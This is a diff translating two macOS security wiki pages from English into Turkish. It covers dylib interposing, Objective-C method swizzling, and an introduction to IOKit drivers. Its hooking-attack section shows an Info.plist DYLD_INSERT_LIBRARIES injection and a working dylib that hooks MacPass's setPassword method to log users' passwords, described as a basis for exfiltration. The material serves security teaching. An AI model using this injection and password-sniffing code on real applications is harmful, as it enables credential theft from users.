macos-system-extensions.md
|
||||
|
||||
@ -4,52 +4,47 @@
|
||||
|
||||
## Function Interposing
|
||||
|
||||
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
|
||||
Bir **dylib** oluşturun ve içinde **`__interpose`** bölümü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüm) bulunan, **orijinal** ve **yerine geçen** fonksiyonlara atıfta bulunan **fonksiyon işaretçileri** çiftleri içersin.
|
||||
|
||||
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
Ardından, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
|
||||
### Interpose printf
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="interpose.c"}}
|
||||
|
||||
```c:interpose.c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="hello.c"}}
|
||||
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="interpose2.c"}}
|
||||
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
@ -57,26 +52,24 @@ int main() {
|
||||
#include <stdio.h>
|
||||
|
||||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
|
||||
int my_printf(const char *format, ...)
|
||||
{
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
DYLD_INTERPOSE(my_printf,printf);
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
Hello from interpose
|
||||
@ -84,24 +77,22 @@ Hello from interpose
|
||||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
|
||||
## Method Swizzling
|
||||
|
||||
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
ObjectiveC'de bir metod şu şekilde çağrılır: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
**nesne**, **metod** ve **parametreler** gereklidir. Ve bir metod çağrıldığında bir **msg gönderilir** `objc_msgSend` fonksiyonu kullanılarak: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
|
||||
Nesne **`someObject`**, metod **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir.
|
||||
|
||||
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
|
||||
Nesne yapıları takip edilerek, **metodların** **isimleri** ve metod koduna **işaretçiler** içeren bir **metodlar dizisine** ulaşmak mümkündür.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
> Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov </path/bin>` veya [`class-dump </path/bin>`](https://github.com/nygard/class-dump) ile geri alınması mümkündür.
|
||||
|
||||
### Accessing the raw methods
|
||||
|
||||
It's possible to access the information of the methods such as name, number of params or address like in the following example:
|
||||
### Ham metodlara erişim
|
||||
|
||||
Aşağıdaki örnekte olduğu gibi metodların adı, parametre sayısı veya adresi gibi bilgilerine erişmek mümkündür:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
|
||||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Method Swizzling with method_exchangeImplementations
|
||||
|
||||
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
|
||||
Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulamasının** **adresini** **diğerine değiştirmeye** olanak tanır.
|
||||
|
||||
> [!CAUTION]
|
||||
> So when a function is called what is **executed is the other one**.
|
||||
|
||||
> Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğeri**dir.
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
|
||||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
|
||||
> Bu durumda, eğer **meşru** metodun **uygulama kodu** **metod** **adını** **doğruluyorsa**, bu swizzling'i **tespit** edebilir ve çalışmasını engelleyebilir.
|
||||
>
|
||||
> The following technique doesn't have this restriction.
|
||||
> Aşağıdaki teknik bu kısıtlamaya sahip değildir.
|
||||
|
||||
### Method Swizzling with method_setImplementation
|
||||
|
||||
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
|
||||
|
||||
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
|
||||
Önceki format garip çünkü bir metodun uygulamasını diğerinin üzerine değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **metodun uygulamasını diğerinin** uygulamasıyla **değiştirebilirsiniz**.
|
||||
|
||||
Sadece, **orijinalinin uygulama adresini saklamayı** unutmayın, eğer onu yeni uygulamadan çağıracaksanız, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
|
||||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Hooking Attack Methodology
|
||||
|
||||
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
|
||||
Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar **saldırı için süreç içinde kod çalıştırmayı** içeriyordu.
|
||||
|
||||
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
Bunu yapmak için en kolay teknik, bir [Dyld'yi ortam değişkenleri aracılığıyla veya kaçırarak](../macos-dyld-hijacking-and-dyld_insert_libraries.md) enjekte etmektir. Ancak, bunun [Dylib süreç enjeksiyonu](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) aracılığıyla da yapılabileceğini düşünüyorum.
|
||||
|
||||
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
|
||||
Ancak, her iki seçenek de **korumasız** ikili/süreçlerle **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.
|
||||
|
||||
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
|
||||
|
||||
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
|
||||
Ancak, bir fonksiyon hooklama saldırısı çok spesifiktir, bir saldırgan bunu **bir süreçten hassas bilgileri çalmak için** yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir.
|
||||
|
||||
Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** env değişkenini eklemek olacaktır.
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
|
||||
and then **re-register** the application:
|
||||
|
||||
ve ardından **uygulamayı yeniden kaydet**:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
|
||||
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
|
||||
Bu kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar...
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
|
||||
|
||||
#### Library example
|
||||
> Daha yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı artık çalıştırmayacaktır**.
|
||||
|
||||
#### Kütüphane örneği
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
@ -331,27 +312,26 @@ static IMP real_setPassword = NULL;
|
||||
|
||||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||
{
|
||||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
}
|
||||
|
||||
// Library constructor to execute
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv) {
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
|
||||
@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
|
||||
I/O Kit, XNU çekirdeğinde açık kaynaklı, nesne yönelimli **cihaz sürücüsü çerçevesi**dir ve **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Farklı donanımları destekleyerek çekirdeğe anında modüler kod eklenmesine olanak tanır.
|
||||
|
||||
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
|
||||
IOKit sürücüleri esasen **çekirdekten fonksiyonlar dışa aktarır**. Bu fonksiyon parametre **tipleri** **önceden tanımlıdır** ve doğrulanır. Ayrıca, XPC'ye benzer şekilde, IOKit sadece **Mach mesajlarının** üzerinde başka bir katmandır.
|
||||
|
||||
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
|
||||
**IOKit XNU çekirdek kodu**, Apple tarafından [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) adresinde açık kaynak olarak yayınlanmıştır. Ayrıca, kullanıcı alanı IOKit bileşenleri de açık kaynaklıdır [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
|
||||
|
||||
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.**
|
||||
|
||||
It's written in **C++**. You can get demangled C++ symbols with:
|
||||
Ancak, **hiçbir IOKit sürücüsü** açık kaynak değildir. Yine de, zaman zaman bir sürücü sürümü, hata ayıklamayı kolaylaştıran sembollerle birlikte gelebilir. [**Firmware'den sürücü uzantılarını nasıl alacağınızı buradan kontrol edin**](./#ipsw)**.**
|
||||
|
||||
**C++** ile yazılmıştır. Demangled C++ sembollerini almak için:
|
||||
```bash
|
||||
# Get demangled symbols
|
||||
nm -C com.apple.driver.AppleJPEGDriver
|
||||
@ -23,210 +22,193 @@ c++filt
|
||||
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
|
||||
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with.
|
||||
> IOKit **açık fonksiyonlar** bir istemci bir fonksiyonu çağırmaya çalıştığında **ek güvenlik kontrolleri** gerçekleştirebilir, ancak uygulamaların genellikle etkileşimde bulunabilecekleri IOKit fonksiyonlarıyla **sandbox** tarafından **sınırlı** olduğunu unutmayın.
|
||||
|
||||
## Drivers
|
||||
## Sürücüler
|
||||
|
||||
In macOS they are located in:
|
||||
macOS'ta şunlarda bulunurlar:
|
||||
|
||||
- **`/System/Library/Extensions`**
|
||||
- KEXT files built into the OS X operating system.
|
||||
- OS X işletim sistemine entegre edilmiş KEXT dosyaları.
|
||||
- **`/Library/Extensions`**
|
||||
- KEXT files installed by 3rd party software
|
||||
- 3. parti yazılımlar tarafından yüklenen KEXT dosyaları
|
||||
|
||||
In iOS they are located in:
|
||||
iOS'ta şunlarda bulunurlar:
|
||||
|
||||
- **`/System/Library/Extensions`**
|
||||
|
||||
```bash
|
||||
#Use kextstat to print the loaded drivers
|
||||
kextstat
|
||||
Executing: /usr/bin/kmutil showloaded
|
||||
No variant specified, falling back to release
|
||||
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
|
||||
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
|
||||
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
|
||||
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
|
||||
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
|
||||
```
|
||||
9'a kadar listelenen sürücüler **0 adresinde yüklenmiştir**. Bu, bunların gerçek sürücüler olmadığı, **çekirdek parçası oldukları ve boşaltılamayacakları** anlamına gelir.
|
||||
|
||||
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**.
|
||||
|
||||
In order to find specific extensions you can use:
|
||||
|
||||
